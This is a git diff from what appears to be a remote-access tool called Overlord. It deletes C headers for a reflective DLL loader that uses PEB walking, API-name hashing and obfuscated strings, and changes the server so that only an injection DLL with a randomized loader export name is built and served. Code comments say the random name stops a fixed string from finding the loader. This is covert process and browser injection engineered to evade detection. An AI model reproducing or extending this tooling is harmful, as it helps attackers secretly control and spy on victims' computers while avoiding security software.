LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); -typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 - -#define IMAGE_REL_BASED_ARM_MOV32A 5 -#define IMAGE_REL_BASED_ARM_MOV32T 7 - -#define ARM_MOV_MASK (DWORD)(0xFBF08000) -#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) -#define ARM_MOVW 0xF2400000 -#define ARM_MOVT 0xF2C00000 - -#define HASH_KEY 13 -//===============================================================================================// -#ifdef _MSC_VER -#pragma intrinsic( _rotr ) -#define RDI_INLINE __forceinline -#else -#define RDI_INLINE static inline __attribute__((always_inline)) -#endif - -RDI_INLINE DWORD ror(DWORD d) -{ - return _rotr(d, HASH_KEY); -} - -RDI_INLINE DWORD hash(char* c) -{ - register DWORD h = 0; - do - { - h = ror(h); - h += *c; - } while (*++c); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, * PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK* pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset : 12; - WORD type : 4; -} IMAGE_RELOC, * PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/BackstageInjection/src/obfstr.h b/BackstageInjection/src/obfstr.h deleted file mode 100644 index 1f14dd5..0000000 --- a/BackstageInjection/src/obfstr.h +++ /dev/null @@ -1,57 +0,0 @@ -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define OBFS_KEY 16 - -#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY) - -static inline char* obfs_dec(char* buf, int len) -{ - for (int i = 0; i < len; i++) - buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY); - return buf; -} - -#ifdef _MSC_VER -#define OBFS(arr) \ - obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \ - (int)(sizeof(arr) - 1)) -#else -#define OBFS(arr) \ - obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \ - (int)(sizeof(arr) - 1)) -#endif - -// ---- Encrypted string arrays ---- -// Use _OBF_CHR() for each character so the compiler folds to constants. - -static const unsigned char _enc_ReflectiveLoader[] = { - _OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'), - _OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'), - _OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'), - _OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0 -}; - -static const unsigned char _enc_ntdll_dll[] = { - _OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'), - _OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'), - _OBF_CHR('l'), 0 -}; - -static const unsigned char _enc_RtlAddFunctionTable[] = { - _OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'), - _OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'), - _OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'), - _OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'), - _OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0 -}; - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/BackstageInjection/src/seh_compat.h b/BackstageInjection/src/seh_compat.h deleted file mode 100644 index 7e14130..0000000 --- a/BackstageInjection/src/seh_compat.h +++ /dev/null @@ -1,18 +0,0 @@ -// Compatibility header for building with MinGW (which lacks MSVC's __try/__except) -#ifndef _backstage_SEH_COMPAT_H -#define _backstage_SEH_COMPAT_H - -#ifdef __MINGW32__ -// MinGW doesn't support MSVC structured exception handling. -// Replace __try/__except with plain code execution (no SEH guard). -#define __try -#define __except(x) if (0) -#define __finally - -// MSVC uses GetExceptionCode() inside __except; provide a stub. -#ifndef GetExceptionCode -#define GetExceptionCode() 0 -#endif -#endif // __MINGW32__ - -#endif // _backstage_SEH_COMPAT_H diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 8e9f8c5..f58cc85 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -1750,12 +1750,8 @@ func findReflectiveLoaderOffset(pe []byte) (uint32, error) { // BackstageInjection reflective loader entry. The loader entry is exported // under a per-build random name of the form "x" + six lowercase hex digits // (generated by the DLL's build.rs), so a fixed string cannot be used to -// find it. The legacy fixed name is still accepted so DLL artifacts produced -// by older builds keep working. +// find it. func isBackstageLoaderExport(name string) bool { - if name == "ReflectiveLoader" { - return true - } if len(name) != 7 || name[0] != 'x' { return false } diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go index 28e68dc..a75b992 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go @@ -115,13 +115,13 @@ func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) { _ = getProcessesLockingFile("a") } -func TestIsBackstageLoaderExportSupportsBothCommandVersions(t *testing.T) { - for _, name := range []string{"ReflectiveLoader", "x012abc", "xffffff"} { +func TestIsBackstageLoaderExportAcceptsRandomizedExport(t *testing.T) { + for _, name := range []string{"x012abc", "xffffff"} { if !isBackstageLoaderExport(name) { t.Fatalf("expected loader export %q to be accepted", name) } } - for _, name := range []string{"reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} { + for _, name := range []string{"ReflectiveLoader", "reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} { if isBackstageLoaderExport(name) { t.Fatalf("expected loader export %q to be rejected", name) } diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go index 9b0c67b..731bb90 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_generated.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_generated.go @@ -3,7 +3,7 @@ package wire const ( - WireSchemaVersion = 1 + WireSchemaVersion = 2 WireProtocolVersion = 1 ) @@ -456,10 +456,10 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{ CommandBackstageSetQuality: {Min: 1, Max: 1}, CommandBackstageSetResolution: {Min: 1, Max: 1}, CommandBackstageStart: {Min: 1, Max: 1}, - CommandBackstageStartBrowserInjected: {Min: 1, Max: 2}, - CommandBackstageStartChromeInjected: {Min: 1, Max: 2}, + CommandBackstageStartBrowserInjected: {Min: 2, Max: 3}, + CommandBackstageStartChromeInjected: {Min: 2, Max: 3}, CommandBackstageStartProcess: {Min: 1, Max: 1}, - CommandBackstageStartProcessInjected: {Min: 1, Max: 2}, + CommandBackstageStartProcessInjected: {Min: 2, Max: 3}, CommandBackstageStop: {Min: 1, Max: 1}, CommandBackstageWindowList: {Min: 1, Max: 1}, CommandClientLogsRequest: {Min: 1, Max: 1}, diff --git a/Overlord-Client/cmd/agent/wire/wire_contract_test.go b/Overlord-Client/cmd/agent/wire/wire_contract_test.go index 4b5af9e..276dfa6 100644 --- a/Overlord-Client/cmd/agent/wire/wire_contract_test.go +++ b/Overlord-Client/cmd/agent/wire/wire_contract_test.go @@ -17,20 +17,23 @@ func TestGeneratedWireContract(t *testing.T) { if !ok { t.Fatalf("missing version range for %s", command) } - wantMax := 1 + wantMin, wantMax := 1, 1 switch command { case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected: - wantMax = 2 + wantMin, wantMax = 2, 3 } - if versionRange.Min != 1 || versionRange.Max != wantMax { + if versionRange.Min != wantMin || versionRange.Max != wantMax { t.Fatalf("unexpected version range for %s: %+v", command, versionRange) } - if !IsSupportedCommandVersion(string(command), 1) { - t.Fatalf("%s must support v1", command) + if IsSupportedCommandVersion(string(command), 1) != (wantMin == 1) { + t.Fatalf("unexpected v1 support for %s", command) } - if IsSupportedCommandVersion(string(command), 2) != (wantMax == 2) { + if IsSupportedCommandVersion(string(command), 2) != (wantMin <= 2 && wantMax >= 2) { t.Fatalf("unexpected v2 support for %s", command) } + if IsSupportedCommandVersion(string(command), 3) != (wantMin <= 3 && wantMax >= 3) { + t.Fatalf("unexpected v3 support for %s", command) + } } if !IsCommandType("desktop_start") { t.Fatal("desktop_start must be a known command") diff --git a/Overlord-Server/src/command-compatibility.test.ts b/Overlord-Server/src/command-compatibility.test.ts index e0088b9..cfcce63 100644 --- a/Overlord-Server/src/command-compatibility.test.ts +++ b/Overlord-Server/src/command-compatibility.test.ts @@ -46,25 +46,34 @@ describe("command version negotiation", () => { }); }); - test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => { + test("rejects legacy (v1-only) Backstage agents and negotiates v2/v3 with newer agents", () => { const command = "backstage_start_browser_injected" as const; const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) }; - expect(versionCommandForClient({}, { - type: "command", - commandType: command, - id: "legacy-backstage", - payload, - })).toMatchObject({ commandVersion: 1, payload }); + // Pre-3.0 agents assume v1, which the server no longer supports. + expect(getCommandCompatibility({}, command)).toMatchObject({ + supported: false, + reason: "no_common_version", + }); + expect(() => requireCommandVersion({}, command)).toThrow("no shared version"); expect(versionCommandForClient({ commandVersions: { [command]: { min: 1, max: 2 } }, }, { type: "command", commandType: command, - id: "current-backstage", + id: "v2-backstage", payload, })).toMatchObject({ commandVersion: 2, payload }); + + expect(versionCommandForClient({ + commandVersions: { [command]: { min: 2, max: 3 } }, + }, { + type: "command", + commandType: command, + id: "v3-backstage", + payload, + })).toMatchObject({ commandVersion: 3, payload }); }); test("strictly reports missing commands and non-overlapping versions", () => { diff --git a/Overlord-Server/src/generated/wire-contract.ts b/Overlord-Server/src/generated/wire-contract.ts index 03d8259..1b42749 100644 --- a/Overlord-Server/src/generated/wire-contract.ts +++ b/Overlord-Server/src/generated/wire-contract.ts @@ -1,6 +1,6 @@ // Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT. -export const WIRE_SCHEMA_VERSION = 1 as const; +export const WIRE_SCHEMA_VERSION = 2 as const; export const WIRE_PROTOCOL_VERSION = 1 as const; export const WIRE_MESSAGE_TYPES = [ @@ -376,20 +376,20 @@ export const COMMAND_VERSION_SUPPORT = { "max": 1 }, "backstage_start_browser_injected": { - "min": 1, - "max": 2 + "min": 2, + "max": 3 }, "backstage_start_chrome_injected": { - "min": 1, - "max": 2 + "min": 2, + "max": 3 }, "backstage_start_process": { "min": 1, "max": 1 }, "backstage_start_process_injected": { - "min": 1, - "max": 2 + "min": 2, + "max": 3 }, "backstage_stop": { "min": 1, diff --git a/Overlord-Server/src/protocol-contract.test.ts b/Overlord-Server/src/protocol-contract.test.ts index 9854ec7..207935c 100644 --- a/Overlord-Server/src/protocol-contract.test.ts +++ b/Overlord-Server/src/protocol-contract.test.ts @@ -34,9 +34,11 @@ describe("generated wire protocol contract", () => { expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length); for (const command of COMMAND_TYPES) { const isVersioned = versionedBackstageCommands.has(command); - expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 }); - expect(isSupportedCommandVersion(command, 1)).toBe(true); + expect(COMMAND_VERSION_SUPPORT[command].min).toBe(isVersioned ? 2 : 1); + expect(COMMAND_VERSION_SUPPORT[command].max).toBe(isVersioned ? 3 : 1); + expect(isSupportedCommandVersion(command, 1)).toBe(!isVersioned); expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned); + expect(isSupportedCommandVersion(command, 3)).toBe(isVersioned); if (isVersioned) { expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion"); } else { diff --git a/Overlord-Server/src/server/backstage-dll-cache.test.ts b/Overlord-Server/src/server/backstage-dll-cache.test.ts index 3103151..ffbf7fb 100644 --- a/Overlord-Server/src/server/backstage-dll-cache.test.ts +++ b/Overlord-Server/src/server/backstage-dll-cache.test.ts @@ -1,13 +1,12 @@ import { describe, expect, test } from "bun:test"; import { BACKSTAGE_DLL_NAME, - BACKSTAGE_LEGACY_DLL_NAME, injectionDllCandidates, } from "./backstage-dll-cache"; -describe("Backstage DLL command-version artifacts", () => { - test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => { - expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true); - expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true); +describe("Backstage DLL artifacts", () => { + test("serves a single randomized-export artifact", () => { + expect(injectionDllCandidates().length).toBeGreaterThan(0); + expect(injectionDllCandidates().every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true); }); -}); +}); \ No newline at end of file diff --git a/Overlord-Server/src/server/backstage-dll-cache.ts b/Overlord-Server/src/server/backstage-dll-cache.ts index 124aedb..2b77fc7 100644 --- a/Overlord-Server/src/server/backstage-dll-cache.ts +++ b/Overlord-Server/src/server/backstage-dll-cache.ts @@ -5,71 +5,63 @@ import { logger } from "../logger"; import { resolveRuntimeRoot } from "./runtime-paths"; export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll"; -export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll"; // Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is // used so a re-randomized (rebuild) copy survives container restarts and is // preferred over the image-baked dist-clients copy. Overrideable for unusual // deployments. -export function backstageDllOutputPath(commandVersion = 2): string { +export function backstageDllOutputPath(): string { const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim(); if (explicit) { - const resolved = path.resolve(explicit); - return commandVersion === 1 - ? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME) - : resolved; + return path.resolve(explicit); } - const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME; - return path.join(ensureDataDir(), "dist-clients", name); + return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME); } -function builtinDllCandidates(commandVersion: number): string[] { +function builtinDllCandidates(): string[] { const runtimeRoot = resolveRuntimeRoot(); - const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME; return [ - path.resolve(runtimeRoot, "dist-clients", name), - path.resolve(process.cwd(), "dist-clients", name), - path.resolve(import.meta.dir, "../../dist-clients", name), + path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME), + path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME), + path.resolve(import.meta.dir, "../../dist-clients", BACKSTAGE_DLL_NAME), ]; } -export function injectionDllCandidates(commandVersion = 2): string[] { +export function injectionDllCandidates(): string[] { // Fresh builds land in the data dir first; image-baked dist-clients copies // are the offline fallback. - return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)]; + return [backstageDllOutputPath(), ...builtinDllCandidates()]; } type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number }; -const dllCache = new Map(); +let dllCache: DllCacheEntry | null = null; export function invalidateBackstageDll(): void { - dllCache.clear(); + dllCache = null; } -export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null { - const artifactVersion = commandVersion === 1 ? 1 : 2; - const candidates = injectionDllCandidates(artifactVersion); - const cached = dllCache.get(artifactVersion); +export function getInjectionDllBytes(): Uint8Array | null { + const candidates = injectionDllCandidates(); - if (cached) { + if (dllCache) { // If a freshly rebuilt DLL exists in the data dir but the cache points at // an older path, rescan instead of serving stale bytes. - const freshOutput = backstageDllOutputPath(artifactVersion); - if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) { + const freshOutput = backstageDllOutputPath(); + if (path.resolve(dllCache.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) { try { - const st = statSync(cached.path); - if (st.mtimeMs === cached.mtimeMs) { - return cached.bytes; + const st = statSync(dllCache.path); + if (st.mtimeMs === dllCache.mtimeMs) { + return dllCache.bytes; } - const bytes = new Uint8Array(readFileSync(cached.path)); - dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs }); - logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`); + const bytes = new Uint8Array(readFileSync(dllCache.path)); + dllCache = { bytes, path: dllCache.path, mtimeMs: st.mtimeMs }; + logger.info(`[backstage] reloaded injection DLL from ${dllCache.path} (${bytes.length} bytes)`); return bytes; } catch { - dllCache.delete(artifactVersion); + dllCache = null; } } else { - dllCache.delete(artifactVersion); + dllCache = null; } } @@ -78,14 +70,14 @@ export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null { try { const st = statSync(dllPath); const bytes = new Uint8Array(readFileSync(dllPath)); - dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs }); - logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`); + dllCache = { bytes, path: dllPath, mtimeMs: st.mtimeMs }; + logger.info(`[backstage] loaded injection DLL from ${dllPath} (${bytes.length} bytes)`); return bytes; } catch { continue; } } - logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`); + logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`); return null; -} +} \ No newline at end of file diff --git a/Overlord-Server/src/server/backstage-dll-manager.ts b/Overlord-Server/src/server/backstage-dll-manager.ts index 60196e6..14d29bf 100644 --- a/Overlord-Server/src/server/backstage-dll-manager.ts +++ b/Overlord-Server/src/server/backstage-dll-manager.ts @@ -6,7 +6,6 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager"; import { resolveRuntimeRoot } from "./runtime-paths"; import { BACKSTAGE_DLL_NAME, - BACKSTAGE_LEGACY_DLL_NAME, backstageDllOutputPath, invalidateBackstageDll, } from "./backstage-dll-cache"; @@ -170,8 +169,7 @@ export async function rebuildBackstageDll( _building = true; _lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." }; - const outPath = backstageDllOutputPath(2); - const legacyOutPath = backstageDllOutputPath(1); + const outPath = backstageDllOutputPath(); const outDir = path.dirname(outPath); try { @@ -207,7 +205,6 @@ export async function rebuildBackstageDll( fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter); } Object.assign(fullEnv, env); - delete fullEnv.BACKSTAGE_LOADER_EXPORT; delete fullEnv.BACKSTAGE_LOADER_SEED; const streamLines = async (stream: ReadableStream | null) => { @@ -255,7 +252,6 @@ export async function rebuildBackstageDll( }; await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath); - await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath); const exportName = readPeExportName(outPath); invalidateBackstageDll(); @@ -264,7 +260,7 @@ export async function rebuildBackstageDll( startedAt: _lastBuild.startedAt, finishedAt: Date.now(), ok: true, - message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`, + message: `DLL rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`, }; send({ type: "output", diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts index 6fa7fa1..a0d1ca2 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts @@ -40,7 +40,10 @@ function getVersionedInjectionDll( ): Uint8Array | null { if (!target) return null; try { - return getInjectionDllBytes(requireCommandVersion(target, commandType)); + // Gate on command negotiation so clients that cannot run the command are + // rejected, then serve the single randomized-export injection DLL. + requireCommandVersion(target, commandType); + return getInjectionDllBytes(); } catch (error) { logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`); return null; diff --git a/protocol/wire-contract.json b/protocol/wire-contract.json index d005065..f40339c 100644 --- a/protocol/wire-contract.json +++ b/protocol/wire-contract.json @@ -1,6 +1,6 @@ { "$schema": "./wire-contract.schema.json", - "schemaVersion": 1, + "schemaVersion": 2, "protocolVersion": 1, "encoding": "messagepack", "compatibility": "additive", @@ -8,32 +8,50 @@ "defaultVersion": 1, "overrides": { "backstage_start_browser_injected": { - "latestVersion": 2, + "latestVersion": 3, + "minVersion": 2, "changes": { "2": { "breaking": true, "summary": "Use a Backstage injection DLL with a randomized reflective-loader export", "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" + }, + "3": { + "breaking": true, + "summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served", + "migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits" } } }, "backstage_start_chrome_injected": { - "latestVersion": 2, + "latestVersion": 3, + "minVersion": 2, "changes": { "2": { "breaking": true, "summary": "Use a Backstage injection DLL with a randomized reflective-loader export", "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" + }, + "3": { + "breaking": true, + "summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served", + "migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits" } } }, "backstage_start_process_injected": { - "latestVersion": 2, + "latestVersion": 3, + "minVersion": 2, "changes": { "2": { "breaking": true, "summary": "Use a Backstage injection DLL with a randomized reflective-loader export", "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits" + }, + "3": { + "breaking": true, + "summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served", + "migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits" } } } diff --git a/protocol/wire-contract.schema.json b/protocol/wire-contract.schema.json index b13edc1..7abf286 100644 --- a/protocol/wire-contract.schema.json +++ b/protocol/wire-contract.schema.json @@ -35,6 +35,7 @@ "required": ["latestVersion", "changes"], "properties": { "latestVersion": { "type": "integer", "minimum": 2 }, + "minVersion": { "type": "integer", "minimum": 1 }, "changes": { "type": "object", "patternProperties": { diff --git a/scripts/build-backstage-dll.bat b/scripts/build-backstage-dll.bat index 4470f22..844ff72 100644 --- a/scripts/build-backstage-dll.bat +++ b/scripts/build-backstage-dll.bat @@ -13,7 +13,6 @@ set "CRATE_DIR=%ROOT%BackstageInjection-Rust" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set "TARGET=x86_64-pc-windows-gnu" set "DLL_NAME=BackstageInjection.x64.dll" -set "LEGACY_DLL_NAME=BackstageInjection.legacy.x64.dll" where cargo >nul 2>&1 if %ERRORLEVEL% neq 0 ( @@ -24,7 +23,6 @@ if %ERRORLEVEL% neq 0 ( if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" echo Building randomized BackstageInjection DLL for %TARGET% ... -set "BACKSTAGE_LOADER_EXPORT=" set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%" cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml" if %ERRORLEVEL% neq 0 goto :error @@ -35,20 +33,11 @@ if not exist "%SRC_DLL%" goto :error copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul if %ERRORLEVEL% neq 0 goto :error -echo Building legacy BackstageInjection DLL for %TARGET% ... -set "BACKSTAGE_LOADER_SEED=" -set "BACKSTAGE_LOADER_EXPORT=ReflectiveLoader" -cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml" -if %ERRORLEVEL% neq 0 goto :error -copy /y "%SRC_DLL%" "%OUT_DIR%\%LEGACY_DLL_NAME%" >nul -if %ERRORLEVEL% neq 0 goto :error - echo. echo Built: %OUT_DIR%\%DLL_NAME% -echo Built: %OUT_DIR%\%LEGACY_DLL_NAME% exit /b 0 :error echo. echo BUILD FAILED -exit /b 1 +exit /b 1 \ No newline at end of file diff --git a/scripts/build-backstage-dll.sh b/scripts/build-backstage-dll.sh index b430a71..cdf8358 100644 --- a/scripts/build-backstage-dll.sh +++ b/scripts/build-backstage-dll.sh @@ -16,7 +16,6 @@ CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}" 